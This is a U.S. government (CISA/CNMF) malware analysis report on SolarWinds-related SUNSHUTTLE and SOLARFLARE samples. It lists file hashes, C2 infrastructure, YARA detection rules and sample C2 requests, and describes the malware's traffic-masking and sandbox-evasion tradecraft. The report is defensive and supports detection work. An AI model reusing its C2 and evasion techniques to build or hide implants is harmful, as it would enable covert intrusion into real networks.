MAR-10327841-1.v1 – SUNSHUTTLE | CISA

Published: 2021-04-15 · Archived: 2026-04-05 20:54:45 UTC

Notification

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF) of U.S. Cyber Command. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear, The Dukes). CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

This report analyzes eighteen (18) files categorized by their associative behavior and structured configurations.

Seven (7) of the analyzed files are executables that attempt to connect to hard-coded command and control (C2) servers using Hypertext Transfer Protocol Secure (HTTPS) on port 443 and await a response upon execution.
- Three (3) executables written in Golang (Go) and packed using the Ultimate Packer for Executables (UPX) were identified by the security company FireEye as SOLARFLARE malware. One (1) of which was unpacked and included in this report.
- Four (4) executables written in Go were identified by FireEye as SUNSHUTTLE. Two (2) of which were unpacked and included in this report.

One (1) file is a text file that appears to be a configuration file for a SUNSHUTTLE sample.
Six (6) files are Visual Basic Script (VBScript) files designed to add the Windows registry keys to store and execute an obfuscated VBScript to download and execute a malicious payload from its C2 server. The VBScripts were identified as MISPRINT/SIBOT.
One (1) file was identified as a China Chopper webshell server-side component. The webshell was observed on a network with an active SUNSHUTTLE infection, which would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE infection was remediated.

For more information on SolarWinds-related activity visit: https://us-cert.cisa.gov/remediating-apt-compromised-networks.

For a downloadable copy of IOCs, see: MAR-10327841-1.v1.stix

Click here for a PDF version of this report.

Submitted Files (14)

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 (finder.exe)

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116 (owafont.aspx)

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec (bootcats.exe)

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd (f3.exe)

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb (rundll32registry_createremote...)

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07 (prnmngrz.vbs)

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45 (Lexicon.exeUnPacked)

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66 (rundll32registry_schtaskdaily....)

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 (Lexicon.exe)

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c (prndrvrn.vbs)

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15 (rundll32file_schtaskdaily.vbs)

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def (SchCachedSvc.exe)

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c (WindowsDSVC.exe)

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2 (f2.exe)

Additional Files (4)

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f (Final_vbscript.vbs)

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df (runlog.dat.tmp)

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d (finder.exe_Unpacked)

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836 (WindowsDSVC.exe_Unpacked)

Domains (5)

eyetechltd.com

megatoolkit.com

nikeoutletinc.org

reyweb.com

sense4baby.fr

IPs (1)

185.225.69.69

Findings

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9

Tags

trojan

Details

Name	finder.exe
Size	1940480 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	1d97d76afefaa09556683c2fcd875baa
SHA1	90651ee3dde5fe80ec52f13c487715bb5f04f6b6
SHA256	0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
SHA512	effca75ac9103f23006efa7fbb8e3fea2a1f426f63d0153bbce286c0262d5a470e206beb0fb6a67ec963fddbd556790bcd0432a96aa8b7ce606
ssdeep	49152:o7fPmMDelNw0jQRtsBbsj3IpWrmxkpe14yn8:UWrQRtMpge2yn
Entropy	7.873884

Antivirus

BitDefender	Gen:Variant.Bulz.284134

Emsisoft	Gen:Variant.Bulz.284134 (B)
Ikarus	Trojan.Win64.Rozena
Lavasoft	Gen:Variant.Bulz.284134
Microsoft Security Essentials	Trojan:Win64/GoldFinder.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
5c227744852a6ceb12cdb8d238e6d89a	header	512	2.467962
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
9f091240d6d7fcdcffa6dae025085ffd	UPX1	1939456	7.874501
50620caa4cae52ec3a75710e0140e092	UPX2	512	1.661240

Relationships

0affab34d9...	Contains	d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. The executable is UPX packed and when executed, the application will unpack and execute (d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d) in memory.

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d

Tags

trojan

Details

Name	finder.exe_Unpacked
Size	4947968 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	86e0f3071c3b3feecf36ea13891633fb
SHA1	9f9f3b73e586e376fd81c6bdb75476fc3d37789c
SHA256	d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
SHA512	a3cb2771a7fe2419621865230cecf4105e5323e9e99edc7f863b7dea9db0646647b2a83c9e5b99ef0c92a58d890c1fc18069d24f3d3704396
ssdeep	49152:F3oUWn0hg/SlNpppOgFq/ANwhtB7ZUgB2SMS9AOE1w5ZRXR5/lTpJ6JwBS5g+A:qpx6bcVywhtB1Tx57X+A

Entropy	5.958753

Antivirus

Ahnlab	Trojan/Win64.Cobalt
BitDefender	Gen:Variant.Bulz.284134
Emsisoft	Gen:Variant.Bulz.284134 (B)
Ikarus	Trojan.Crypter
Lavasoft	Gen:Variant.Bulz.284134
Microsoft Security Essentials	Trojan:Win64/GoldFinder.A!dha

YARA Rules

- rule CISA_3P_10327841_01 : SOLARFLARE trojan
  {
    meta:
      Author = "CISA Trusted Third Party"
      Incident = "10327841.r1.v1"
      Date = "2021-03-04"
      Actor = "n/a"
      Category = "Trojan"
      Family = "SOLARFLARE"
      Description = "Detects strings in Finder_exe samples"
      MD5_1 = "86e0f3071c3b3feecf36ea13891633fb"
      SHA256_1 = "d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d"
    strings:
      $Go_Lang = "Go build ID:"
      $main_func = "main.main"
      $main_encrypt = "main.func1"
      $StatusCode = "StatusCode:"
      $Headers = "Headers:"
      $Data = "Data:"
      $Target = "Target:"
    condition:
      (uint16(0) == 0x5A4D) and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	91802a615b3a5c4bcc05bc5f66a5b219

PE Sections

MD5	Name	Raw Size	Entropy
c986ba8e4a156864e2afff2732285838	header	1536	1.243612
4a26b87fa44a548f2d6d6a3d2cf09fb2	.text	2284544	5.911172
46e1b5a3734e729d9bdce0a14120c910	.rdata	2400768	5.329403
952ce42dcbf61c3fac54c2c958e0c551	.data	259072	5.567652
52887da2b4d17327b2d67732484c11c2	.idata	1536	2.877795

MD5	Name	Raw Size	Entropy
07b5472d347d42780469fb2654b7fc54	.symtab	512	0.020393

Relationships

d8009ad960...	Connected_To	185.225.69.69
d8009ad960...	Contained_Within	0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "finder.exe" (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9). The application is written in the Golang (Go) open-source language. The application is designed to detect servers and network redirectors such as network security devices between the compromised systems and the C2 server. When executed, it attempts to connect to its C2 server using HTTPS on port 443. Once connection is established, it will log all of the HTTP request and response information from/to the hard-coded C2 in plaintext into "%current directory%\loglog.txt" (Figure 1)

The malware uses the following hard-coded labels to store the request and response information in the log file:
Target: The C2 URI
StatusCode: HTTP response/status code
Headers: HTTP response headers and the values
Data: Data from the HTTP response received from the C2

Displayed below are sample HTTP request sent:

--Begin sample request--
GET / HTTP/1.1
Host: 185.225.69.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
--End sample request--

Screenshots

Figure 1 - Screenshot of the log file.

185.225.69.69

Tags

command-and-control

URLs

- hxxps[:]//185.225.69.69/live

Ports

- 443 TCP

HTTP Sessions

- GET / HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Go-http-client/1.1
  Accept-Encoding: gzip
- GET /live/ HTTP/1.1
  Host: 185.225.69.69
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Connection: Keep-Alive
  Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114

Referer: www[.]google.com
Accept-Encoding: gzip

Whois

inetnum: 185.225.68.0 - 185.225.71.255
netname: HU-XET-20171012
country: HU
org: ORG-XK7-RIPE
admin-c: XL650-RIPE
tech-c: XL650-RIPE
status: ALLOCATED PA
mnt-by: RIPE-NCC-HM-MNT
mnt-by: hu-xet-1-mnt
created: 2017-10-12T13:51:43Z
last-modified: 2017-10-12T13:51:43Z
source: RIPE

organisation: ORG-XK7-RIPE
org-name: XET Kft.
country: HU
org-type: LIR
address: Fraknó u. 8/B 1/4
address: 1115
address: Budapest
address: HUNGARY
e-mail: info@xethost.com
admin-c: XL650-RIPE
tech-c: XL650-RIPE
abuse-c: AR43371-RIPE
mnt-ref: hu-xet-1-mnt
mnt-by: RIPE-NCC-HM-MNT
mnt-by: hu-xet-1-mnt
created: 2017-10-10T14:51:34Z
last-modified: 2020-12-16T12:18:59Z
source: RIPE
phone: +36702451572

org: ORG-XK7-RIPE
address: Fraknó u. 8/B 1/4
address: 1115
address: Budapest
address: HUNGARY
phone: +36309374590
nic-hdl: XL650-RIPE
mnt-by: hu-xet-1-mnt
created: 2017-10-10T14:51:33Z
last-modified: 2019-10-09T11:32:49Z
source: RIPE
e-mail: support@xethost.com

% Information related to '185.225.68.0/22AS30836'

route: 185.225.68.0/22
descr: Originated to Xethost by 23Net
origin: AS30836
mnt-by: hu-xet-1-mnt
mnt-by: NET23-MNT
created: 2017-10-17T13:35:44Z
last-modified: 2017-10-17T13:35:44Z
source: RIPE

Relationships

185.225.69.69	Connected_From	d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
185.225.69.69	Connected_From	fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

Description

Finder.exe (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9) and WindowsDSVC.exe (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c) attempt to connect to this IP address.

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2

Tags

trojan

Details

Name	f2.exe
Size	1940480 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	f67f71503026181c8499b5709b2b51c4
SHA1	e93278e0e1af7fc2f75fe50318fdba7abe2cec0d
SHA256	f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2
SHA512	dc2b788118c5733df1f9addad0d1634eb4d150521a042f0a09726a73cbf3b7682f5ce7a603ffc41871f54fe03c646529559df795586eb6a50c
ssdeep	49152:+nHBoTLO0y0UvN+4EK4KnQ4Ub9r0/pVXoUz7NPA6Cl:0HEO0qz4KnQJbV+h7NP+
Entropy	7.874162

Antivirus

BitDefender	Gen:Variant.Bulz.284134
Emsisoft	Gen:Variant.Bulz.284134 (B)
Ikarus	Trojan.Win64.Rozena
Lavasoft	Gen:Variant.Bulz.284134
Microsoft Security Essentials	Trojan:Win64/GoldFinder.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
657af7f5c4c96b7699b37a285b3bb95d	header	512	2.462581
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000

MD5	Name	Raw Size	Entropy
af51298804473081a36388c4452f0717	UPX1	1939456	7.874774
50620caa4cae52ec3a75710e0140e092	UPX2	512	1.661240

Relationships

f2a8bdf135...	Connected_To	nikeoutletinc.org

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F2.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F2.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F2.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates.

Upon execution, it reaches out to the hard-coded domain nikeoutletinc.org over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This connection is using HTTPS TLSv1.2 for encryption. After running, f2.exe closes and does not have persistence to run itself. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach out to the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f2.exe sample, a nearly identical file named f3.exe performed the role of reaching out to the C2 domain. This file does not need administrator privileges to run.

After unpacking the sample, displayed below are strings of interest:

--Begin strings of interest--
hxxps[:]//nikeoutletinc.org/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on networknet/http: request canceledno CSI structure available

Go build ID:
"XoNtlAkjvYqniOio6xGI/0DIub_zdwXYX9I94QTxf/mSa3AXim2woQ8ym8GoD-/H3vqlJigkBWLlKW0U7Eq"
--End strings of interest--

Displayed below are loglog.txt contents after running f2.exe in a lab environment to mimic network traffic:

2021/03/17 10:36:35 Target: hxxps[:]//nikeoutletinc.org/
2021/03/17 10:36:35 StatusCode: 200
2021/03/17 10:36:35 Headers: map[Content-Length:[258] Content-Type:[text/html] Date:[Wed, 17 Mar 2021 14:36:35 GMT] Server:[INetSim HTTPs Server]]
2021/03/17 10:36:35 Data:
2021/03/17 10:36:35 <html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>

This is the default HTML page for INetSim HTTP server fake mode.
This file is an HTML document.
</body>
</html>

If no network connection exists the file will contain:

2021/03/17 10:38:46 Get "hxxps[:]//nikeoutletinc.org/": dial tcp 192.168.1.1:443: connectex: No connection could be made because the target machine actively refused it.

nikeoutletinc.org

Tags

command-and-control

Whois

Domain Name: NIKEOUTLETINC.ORG
Registry Domain ID: D402200000007305706-LROR
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2020-07-28T09:05:28Z
Creation Date: 2018-08-22T18:44:46Z
Registry Expiry Date: 2021-08-22T18:44:46Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS35.HOSTERBOX.COM
Name Server: NS36.HOSTERBOX.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)

Relationships

nikeoutletinc.org	Connected_From	ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
nikeoutletinc.org	Connected_From	f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2

Description

f2.exe (f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2) and SchCachedSvc.exe (ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def) attempt to connect to this domain.

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd

Tags

trojan

Details

Name	f3.exe
Size	1939968 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	f50e89488b82622b4dd1a35a599a56ec
SHA1	90b76eb47c0a6a7ccb2017b55cee6df88b55b6bb
SHA256	6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd
SHA512	b71b488fac96298ad02158854a5227d60d5f5fa1651be1017b6b0f67289e4935bd83544d6cc7df6d6ab54b4fcf5741556d7b75f5d80a0c0ee
ssdeep	49152:BuGmlb/p27ls7+X1PgDd/oGKt4A2sPNrEUxw5acD:Klbh27A+Byd/IQs9Eu
Entropy	7.873962

Antivirus

BitDefender	Gen:Variant.Bulz.284134

Emsisoft	Gen:Variant.Bulz.284134 (B)
Ikarus	Trojan.Win64.Rozena
Lavasoft	Gen:Variant.Bulz.284134
Microsoft Security Essentials	Trojan:Win64/GoldFinder.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
4743b4f0244c6163eb4fa96688360cea	header	512	2.464055
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
11eafba3f3e1d220182ee43ca3d5c3ca	UPX1	1938944	7.874568
50620caa4cae52ec3a75710e0140e092	UPX2	512	1.661240

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F3.exe is a variant of SOLARFLARE/GoldFinder a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F3.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F3.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain google.com over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f3.exe sample, a nearly identical file named f2.exe performed the role of communicating to the C2 domain.

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c

Tags

trojan

Details

Name	WindowsDSVC.exe
Size	2037248 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	e930633b2d99da097ef2dfff6734afab
SHA1	1199a3bd32d9561b2827ed14a2e7d9093936d12f
SHA256	f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c

SHA512	33203c83637d6e97481b4c8977892acaabade1543f5132f247f356bc7a623c481ae76eab2f8282e7b99a4c6417c9c5c422dfba85d33907aa5
ssdeep	49152:bqjCBg/1/zelmQLgGZRx9g4wwA3NnbgsPMfdLqEUI:bOCeFzelhL/TxEwwR0sk1Lqp
Entropy	7.875073

Antivirus

BitDefender	Gen:Variant.Bulz.370300
ESET	a variant of WinGo/Agent.AE trojan
Emsisoft	Gen:Variant.Bulz.370300 (B)
Ikarus	Trojan.Win64.Rozena
Lavasoft	Gen:Variant.Bulz.370300
Microsoft Security Essentials	Trojan:Win64/GoldMax.A!dha
Sophos	Mal/GoldMax-A

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	e58ab46f2a279ded0846d81bf0fa21f7

PE Sections

MD5	Name	Raw Size	Entropy
b1ebe7f6d9f68ec788abf985f80220c9	header	512	2.484697
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
5fe74989ec393ccead259222602d437c	UPX1	2036224	7.875650
8b4f623319b09fd4b7d5fcdc5179f6ee	UPX2	512	1.763456

Relationships

f28491b367...	Contains	fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed, and when executed, the application will unpack and execute (fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836) in memory.

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

Tags

backdoortrojan

Details

Name	WindowsDSVC.exe_Unpacked

Size	5180928 bytes
Type	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	4de28110bfb88fdcdf4a0133e118d998
SHA1	84ae7c2fee1c36822c8b3e54aef31e82d86613c1
SHA256	fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
SHA512	2202852702404e60aeb642cda3ecfe0136a39bac04d86a746c987fbcbd14be3b763961b67a19a013e23e66c8f0c0c03050933e2e27eeb8d60
ssdeep	49152:I4iyaNa/K/kLYvlGbdc55w/g0EuV+lU/VNW5HzuFNRQNAQQik2NXST9yXMw+37KI:nogIYY4bdaVE+lUNNW5iCvXno+A
Entropy	5.962488

Antivirus

Ahnlab	Trojan/Win64.Cobalt
BitDefender	Gen:Variant.Bulz.370300
ClamAV	Win.Malware.SUNSHUTTLE-9838970-0
ESET	a variant of WinGo/Agent.AE trojan
Emsisoft	Gen:Variant.Bulz.370300 (B)
Ikarus	Trojan.Crypter
Lavasoft	Gen:Variant.Bulz.370300
Microsoft Security Essentials	Trojan:Win64/GoldMax.A!dha
Sophos	Mal/GoldMax-A
Systweak	trojan-backdoor.sunshuttle-r

YARA Rules

```
rule CISA_3P_10327841_02 : SOLARFLARE trojan
{
  meta:
    Author = "CISA Trusted Third Party"
    Incident = "10327841.r1.v1"
    Date = "2021-03-04"
    Actor = "n/a"
    Category = "Trojan"
    Family = "SOLARFLARE"
    Description = "Detects strings in WindowsDSVC_exe samples"
    MD5_1 = "4de28110bfb88fdcdf4a0133e118d998"
    SHA256_1 = "fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836"
  strings:
    $Go_Lang = "Go build ID:"
    $main_func = "main.main"
    $main_encrypt = "main.encrypt"
    $main_MD5 = "main.GetMD5Hash"
    $main_beacon = "main.beaconing"
    $main_command = "main.resolve_command"
    $main_key1 = "main.request_session_key"
    $main_key2 = "main.retrieve_session_key"
    $main_clean = "main.clean_file"
    $main_wget = "main.wget_file"
  condition:
    (uint16(0) == 0x5A4D) and all of them
}
```

- rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2021-03-04"
      Last_Modified = "20210305_1704"
      Actor = "UNC2452"
      Category = "Backdoor"
      Family = "SUNSHUTTLE"
      Description = "This rule detects strings found in SUNSHUTTLE"
      MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
      SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
    strings:
      $s1 = "main.request_session_key"
      $s2 = "main.define_internal_settings"
      $s3 = "main.send_file_part"
      $s4 = "main.clean_file"
      $s5 = "main.send_command_result"
      $s6 = "main.retrieve_session_key"
      $s7 = "main.save_internal_settings"
      $s8 = "main.resolve_command"
      $s9 = "main.write_file"
      $s10 = "main.beaconing"
      $s11 = "main.wget_file"
      $s12 = "main.fileExists"
      $s13 = "main.removeBase64Padding"
      $s14 = "main.addBase64Padding"
      $s15 = "main.delete_empty"
      $s16 = "main.GetMD5Hash"
    condition:
      filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
- rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
    meta:
      Author = "FireEye"
      Date = "2021-03-04"
      Last_Modified = "20210305_1704"
      Actor = "UNC2452"
      Category = "Backdoor"
      Family = "SUNSHUTTLE"
      Description = "This rule detects strings found in SUNSHUTTLE"
      MD5_1 = "9466c865f7498a35e4e1a8f48ef1dffd"
      SHA256_1 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
    strings:
      $s1 = "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk"
      $s2 = "LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ"
      $s3 = "Go build ID: \""
    condition:
      filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

Compile Date	1969-12-31 19:00:00-05:00
Import Hash	91802a615b3a5c4bcc05bc5f66a5b219

PE Sections

MD5	Name	Raw Size	Entropy
d9e458c1580f06a7f3f2929f5400a209	header	1536	1.227428
97e1f8721f9fae6297bdcceb13887e95	.text	2404352	5.902419
ead2f864cd6d16d33f7282151865be45	.rdata	2512384	5.344095
b51b1bb5decadc56e32f8288fc400c68	.data	260608	5.551173
ace875ec125258b2042837d2a2443781	.idata	1536	2.877753
07b5472d347d42780469fb2654b7fc54	.symtab	512	0.020393

Relationships

fa1959dd38...	Contained_Within	f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
fa1959dd38...	Connected_To	185.225.69.69

Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample "WindowsDSVC.exe" (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim's system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: "c8:27:cc:c2:37:5a." If not, the malware will proceed to check if the file "%current directory%\runlog.dat.tmp" is installed on the compromised system. If the file is not installed, it will create and encrypt configuration data using the Advanced Encryption Standard (AES)-256 encryption algorithm with the hard-coded key: "u66vk8e1xe0qpvs2ecp1d14y3qx3d334." The encrypted data is Base64 encoded using the custom Base64 alphabet ("=" replaced with null) before being stored into "runlog.dat.tmp" in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:

--Begin configuration data--
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: 8aebf98f920a2a198c00d87c246572b9|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC
--End configuration data--

The configuration contains: MD5 hash of the current time | the number range used by its pseudorandom number generator (PRNG) | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send a HTTP GET request to its C2 server for a session key. The GET request contain a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

--Begin randomized HTTP referer--
www[.]google.com
www[.]bing.com
www[.]facebook.com
www[.]mail.com
--End randomized HTTP referer--

It contains the following hard-coded legitimate and C2 Uniform Resource Identifier (URI):

--Begin C2 URIs--
https[:]//185.225.69.69/live
https[:]//185.225.69.69/icon.ico
https[:]//185.225.69.69/icon.png
https[:]//185.225.69.69/script.js
https[:]//185.225.69.69/style.css
https[:]//185.225.69.69/css/bootstrap.css
https[:]//185.225.69.69/scripts/jquery.js

https[:]//185.225.69.69/scripts/bootstrap.js
https[:]//185.225.69.69/css/style.css
--End C2 URIs--

--Begin legitimate URIs--
https[:]//www.gstatic.com/images/?
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//fonts.gstatic.com/s/font.woff2
https[:]//cdn.google.com/index
https[:]//code.jquery.com/
https[:]//cdn.mxpnl.com/
--End legitimate URIs--

Displayed below is a sample GET request for a session key:

--Begin sample request --
GET /live/ HTTP/1.1
Host: 185.225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
Referer: www[.]google.com
Accept-Encoding: gzip
--End sample request --

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

--Begin request--
GET /ui/v3/icons/ HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
--Begin request--

